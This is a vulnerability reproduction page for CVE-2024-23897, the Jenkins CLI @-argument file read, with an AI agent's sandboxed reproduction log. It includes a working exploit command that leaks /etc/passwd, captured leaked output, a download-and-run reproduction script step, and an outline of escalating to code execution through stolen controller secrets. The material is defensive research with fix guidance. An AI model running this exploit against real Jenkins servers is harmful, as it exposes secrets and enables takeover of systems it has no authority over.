Skip to content

CVE-2024-23897: Verified Repro With Script Download

CVE-2024-23897: Jenkins CLI arbitrary file read via @ argument expansion

CVE-2024-23897 is verified against jenkins · generic. Affected versions: weekly <= 2.441; LTS <= 2.426.2. Fixed in 2.442; 2.426.3; 2.440.1. This critical reproduction includes runnable sandbox proof, artifacts, and a plain-text agent view under REPRO-2026-00200.

REPRO-2026-00200 jenkins · generic Jul 2, 2026 CVE entry ↗ .txt
Severity
CRITICAL
CVSS
9.8
Confidence
HIGH
Reproduced in
21m 31s
Tool calls
73
Spend
$1.64
01 · Overview

What Is CVE-2024-23897?

CVE-2024-23897 is a critical (CVSS 9.8) arbitrary file read vulnerability (CWE-22) in the Jenkins CLI. An unauthenticated attacker can read files from the Jenkins controller by abusing args4j's @-argument expansion. Pruva reproduced it (reproduction REPRO-2026-00200).

02 · Severity & CVSS

CVE-2024-23897 Severity & CVSS Score

CVE-2024-23897 is rated critical severity, with a CVSS base score of 9.8 out of 10.

CRITICAL threat level
9.8 / 10 CVSS base
Weakness CWE-22 — Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Critical — the most severe class — typically remotely exploitable with severe impact. Treat as an emergency.

03 · Affected Versions

Affected jenkins Versions

jenkins · generic versions weekly <= 2.441; LTS <= 2.426.2 are affected.

How to Reproduce CVE-2024-23897

$ pruva-verify REPRO-2026-00200
or curl -O https://pruva.dev/api/v1/reproductions/REPRO-2026-00200/artifacts/bundle/repro/reproduction_steps.sh && chmod +x reproduction_steps.sh && ./reproduction_steps.sh
Run in a VM or disposable container. This exploits a real vulnerability.
06 · Proof of Reproduction

Proof of Reproduction for CVE-2024-23897

Information disclosure — reproduced
  • reached the target end-to-end
  • on the real production code path
  • high confidence
  • the upstream fix blocks the same trigger
Trigger

@/etc/passwd CLI argument over HTTP

Attack chain
  1. jenkins-cli.jar
  2. HTTP /cli
  3. CLICommand.main
  4. args4j expandAtFiles
  5. file read
  6. error echo
Runnable proof: reproduction_steps.sh
Captured evidence: fixed attempt2fixed attempt1
How the agent worked 205 events · 73 tool calls · 22 min
22 minDuration
73Tool calls
58Reasoning steps
205Events
14Dead-ends
Agent activity over 22 min
Support
10
Hypothesis
2
Repro
160
Judge
30
0:0021:31

Root Cause and Exploit Chain for CVE-2024-23897

1. Summary

CVE: CVE-2024-23897 Product: Jenkins core (controller) Vulnerable Versions: weekly ≤ 2.441; LTS ≤ 2.426.2 Patched Versions: 2.442; 2.426.3; 2.440.1 Claimed Surface: api_remote (CLI over HTTP) Claimed Impact: code_execution (via leaked secrets enabling RCE) Observed Impact: info_leak (arbitrary file read on the controller) Reproduction Status: CONFIRMED

Jenkins core's CLI command parser uses the args4j library's expandAtFiles feature, which replaces any CLI argument beginning with @ with the contents of the referenced file, split into individual lines. Because this feature was enabled by default in Jenkins 2.441 and earlier, an attacker could send a CLI command over HTTP with an argument such as @/etc/passwd. Jenkins would read the referenced file from the controller's filesystem and inject its contents as command arguments. When those arguments appear in error messages (e.g., connect-node reporting "No such agent"), the file contents are disclosed to the attacker.

2. Root Cause

The root cause is that Jenkins did not disable args4j's @-file expansion (expandAtFiles) in its CLI argument parser (hudson.cli.CLICommand). The args4j CmdLineParser expands any argument starting with @ into the file's lines, treating each line as a separate argument. This expansion happens server-side on the Jenkins controller when CLI commands are dispatched over the HTTP CLI protocol.

The vulnerable code path:

  1. The Jenkins CLI jar sends a command and its arguments to the Jenkins controller via HTTP (/cli endpoint, -http protocol).
  2. The controller's CLICommand.main() invokes args4j's CmdLineParser to parse the arguments.
  3. CmdLineParser with expandAtFiles=true reads the file referenced by @<path> from the controller's filesystem.
  4. The file's lines become individual arguments to the CLI command.
  5. Commands such as connect-node echo argument values in error messages (e.g., No such agent "<line>" exists), disclosing the file contents.

Key distinction: The file read occurs on the Jenkins controller (server), not on the client. This makes it a remote arbitrary-file-read vulnerability exploitable over the HTTP API.

3. Reproduction

Environment
  • Docker image: jenkins/jenkins:2.441-jdk17 (vulnerable) and jenkins/jenkins:2.442-jdk17 (fixed)
  • Setup wizard: disabled via -Djenkins.install.runSetupWizard=false
  • Anonymous access: enabled (default when setup wizard is skipped)
  • CLI protocol: HTTP (-http flag on jenkins-cli.jar)
Steps
  1. Start Jenkins 2.441 in a Docker container with -Djenkins.install.runSetupWizard=false.
  2. Wait for "Jenkins is fully up and running" in the container logs.
  3. Download jenkins-cli.jar from the controller (/jnlpJars/jenkins-cli.jar).
  4. Execute: java -jar jenkins-cli.jar -s http://localhost:8080/ -http connect-node "@/etc/passwd"
  5. Observe that every line of /etc/passwd is reflected in the error output.
  6. Repeat with Jenkins 2.442 (fixed) and verify the @ is treated literally.
Evidence

Vulnerable (Jenkins 2.441) — connect-node @/etc/passwd: Each line of /etc/passwd appears in "No such agent" error messages. 19 of 19 ground-truth lines were confirmed leaked. Example lines:

  • root:x:0:0:root:/root:/bin/bash: No such agent "root:x:0:0:root:/root:/bin/bash" exists.
  • jenkins:x:1000:1000::/var/jenkins_home:/bin/bash: No such agent "jenkins:x:1000:1000::/var/jenkins_home:/bin/bash" exists.

Fixed (Jenkins 2.442) — same command: ERROR: No such agent "@/etc/passwd" exists. — the @ is treated literally, no file content disclosed.

Anonymous access: who-am-i returned Authenticated as: anonymous — no credentials needed.

Proof Artifacts
  • logs/vuln_attempt1.log / logs/vuln_attempt2.log — vulnerable CLI output showing leaked /etc/passwd
  • logs/fixed_attempt1.log / logs/fixed_attempt2.log — fixed CLI output showing @ treated literally
  • logs/vuln_passwd_ground_truth.txt — direct cat /etc/passwd from vuln container for verification
  • logs/whoami_vuln.out / logs/whoami_fixed.out — anonymous access confirmation
  • logs/docker_vuln.log / logs/docker_fixed.log — Jenkins startup logs

4. Impact Analysis

Direct Impact: Arbitrary File Read (info_leak)
  • Unauthenticated users can read the first few lines of arbitrary files on the controller using CLI commands accessible to anonymous users.
  • Users with Overall/Read permission can read entire files.
Escalation to RCE (claimed impact)

The ticket claims code_execution. The arbitrary file read enables RCE through an escalation chain:

  1. Read sensitive files (secrets/master.key, secrets/initialAdminPassword, remember-me secrets).
  2. Use leaked secrets to forge authentication tokens/cookies or access the resource root URL.
  3. Leverage forged credentials to execute arbitrary code (script console, job creation, plugin install).

This reproduction confirms the core arbitrary file read (the precondition for RCE) but does not demonstrate the full RCE chain. Observed impact is info_leak; claimed impact is code_execution.

5. Fix

Jenkins 2.442 disabled @-file expansion by default. The system property -Dhudson.cli.CLICommand.allowAtSyntax=true can re-enable it (strongly discouraged). The fix ensures @<path> arguments are treated as literal strings.

6. Verdict

  • Claim outcome: partial (core file-read vulnerability confirmed; full RCE chain not demonstrated)
  • Claim block reason: impact_mismatch (observed info_leak vs claimed code_execution)
  • Repro result: confirmed (file read on vulnerable, blocked on fixed)
  • Validated surface: api_remote (Jenkins HTTP CLI endpoint)
  • Evidence scope: production_path (real Jenkins controller in Docker)
  • Observed impact class: info_leak
  • Exploitability confidence: high
  • Exploit chain demonstrated: false

CVE-2024-23897 Reproduction Transcript

The agent's step-by-step process — every tool call, every handoff, the moment the exploit fired.

Full session Replay every step — scrub the timeline or play it back.

Event 1/40
0:001:22
0:00
session startedaccounts/fireworks/routers/glm-5p2-fast · CVE-2024-23897 · REPRO-20
0:03
0:04
web search
0:06
web search
0:14
0:14
extract_facts
no facts extracted
0:15
0:15
0:15
supportrepro
0:26
0:28
0:28
0:28
0:29
0:29
0:29
0:29
0:42
0:42
0:43
$cat /data/pruva/runs/b296fdc1-6e55-413e-baec-395e18ca3a2f/bundle/ticket.json | tail -c 1200
{"cwd":"/data/pruva/runs/b296fdc1-6e55-413e-baec-395e18ca3a2f","duration_ms":23,"exit_code":0,"stderr":"","stdout":"):\\n   ```bash\\n   java -jar jenkins-cli.jar -s http://localhost:8080 -auth reader:API_TOKEN connect-node \\\"@/etc/passwd\\\"\\n   ```\\n   *(If anonymous read is enabled, omit `-auth`.)*\\n3. Observe the CLI output/error messages; each line of `/etc/passwd` is treated as an argument and echoed in error output when Jenkins fails to connect to a node with that name.\\n\\n## Indicators of Success\\n- CLI output includes lines from the targeted file (e.g., `/etc/passwd`) proving arbitrary file read on the Jenkins controller.\\n\\n## Mitigations\\n- Upgrade to Jenkins 2.442, LTS 2.426.3, or LTS 2.440.1.\\n- If upgrade is not possible, **disable CLI access** (workaround documented by Jenkins).\\n\\n## Notes\\n- Reading binary files is limited by the controller’s default character encoding (UTF-8 makes some bytes unreadable; Windows-1252 may allow more complete reads).\\n\",\n  \"product\": \"generic:jenkins\",\n  \"severity\": \"critical\",\n  \"status\": \"open\",\n  \"summary\": \"Jenkins CLI argument parsing expands @<path> into file contents, enabling unauthenticate… [truncated]
0:44
0:44
$echo "=== Docker ==="; which docker && docker --version 2>&1 | head -1; echo "=== Java ==="; which java && java -version 2>&1 | head -1; echo "=== Project cache ==="; ls -la /data/pruva/project-cache/1b32eb77-2993-4f6d-b197-c6547e683bde/ 2>&1; echo "=== whoami ==="; whoami; echo "=== sudo check ==="; sudo -n true 2>&1 && echo "sudo OK" || echo "no passwordless sudo"
0.2s
=== Docker ===
/usr/bin/docker
Docker version 29.1.3, build 29.1.3-0ubuntu4.1
=== Java ===
=== Project cache ===
total 12
drwxr-xr-x  3 vscode vscode 4096 Jul  1 22:25 .
drwxr-xr-x 11 vscode vscode 4096 Jul  1 22:26 ..
0:46
0:46
$docker ps 2>&1 | head -3; echo "=== docker info ==="; docker info 2>&1 | grep -i "server version\|storage\|running" | head -5
0.2s
CONTAINER ID   IMAGE                                            COMMAND                  CREATED              STATUS                        PORTS                                                             NAMES
1122a016c0e3   athena-pruva-worker-sandbox:latest               "pruva-worker --back…"   10 seconds ago       Up 9 seconds (healthy)                                                                          athena-pruva-worker-glm52-gpt55-repro3
be48901ca263   athena-pruva-worker-sandbox:latest               "pruva-worker --back…"   52 seconds ago       Up 51 seconds (healthy)                                                                         athena-pruva-worker-glm52-gpt55-repro2
=== docker info ===
  Running: 20
 Server Version: 29.2.1
 Storage Driver: overlay2
1:11
1:11
#!/bin/bash
set -euo pipefail

# Portable paths
ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
mkdir -p "$LOGS" "$REPRO_DIR"
cd "$ROOT"

VULN_TAG="${VULN_TAG:-2.441}"
FIXED_TAG="${FIXED_TAG:-2.442}"
IMAGE="jenkins/jenkins"
JDK_SUFFIX="${JDK_SUFFIX:-jdk17}"
HOST_PORT="${HOST_PORT:-18080}"

echo "[*] CVE-2024-23897 reproduction - Jenkins CLI @-file expansion arbitrary file read"
echo "[*] Vulnerable: ${IMAGE}:${VULN_TAG}-${JDK_SUFFIX}"
echo "[*] Fixed:      ${IMAGE}:${FIXED_TAG}-${JDK_SUFFIX}"
1:11
error

Unknown error

1:22
1:22
#!/bin/bash
set -euo pipefail

# Portable paths
ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
mkdir -p "$LOGS" "$REPRO_DIR"
cd "$ROOT"

# ---- Resolve project cache dir (proof-carry / durable reuse) ----
CACHE_DIR=""
if [ -f "$ROOT/project_cache_context.json" ]; then
  CACHE_DIR=$(python3 -c 'import json,sys
try:
    d=json.load(open(sys.argv[1]))
    print(d.get("project_cache_dir","") if d.get("prepared") else "")
except Exception:
    print("")
' "$ROOT/project_cache_context.json" 2>/dev/null || true)
08 · How to Fix

How to Fix CVE-2024-23897

Upgrade jenkins · generic to 2.442; 2.426.3; 2.440.1 or later.

Coming soon

Step-by-step mitigation and hardening guidance for CVE-2024-23897 — configuration checks, workarounds where no patch exists, and how to verify you're protected — is on the way.

10 · FAQ

FAQ: CVE-2024-23897

Is CVE-2024-23897 exploitable without authentication?

Yes. In Jenkins 2.441 and earlier (weekly) and 2.426.2 and earlier (LTS) the @-expansion is enabled by default, allowing unauthenticated attackers to read at least the first lines of arbitrary files on the controller.

Which Jenkins versions are affected by CVE-2024-23897, and where is it fixed?

Jenkins weekly <= 2.441 and LTS <= 2.426.2 are affected. It is fixed in 2.442 (weekly) and 2.426.3 / 2.440.1 (LTS) — upgrade to a fixed release.

How can I reproduce CVE-2024-23897?

Download the verified script from this page and run it in an isolated environment against an affected Jenkins build. It invokes a CLI command with an @-prefixed file path and shows the file contents being read back through the args4j expansion.
11 · References

References for CVE-2024-23897

Authoritative sources for CVE-2024-23897 — official vulnerability databases and the upstream advisory. Pruva's reproduction verifies the issue firsthand; these are the primary records to corroborate it.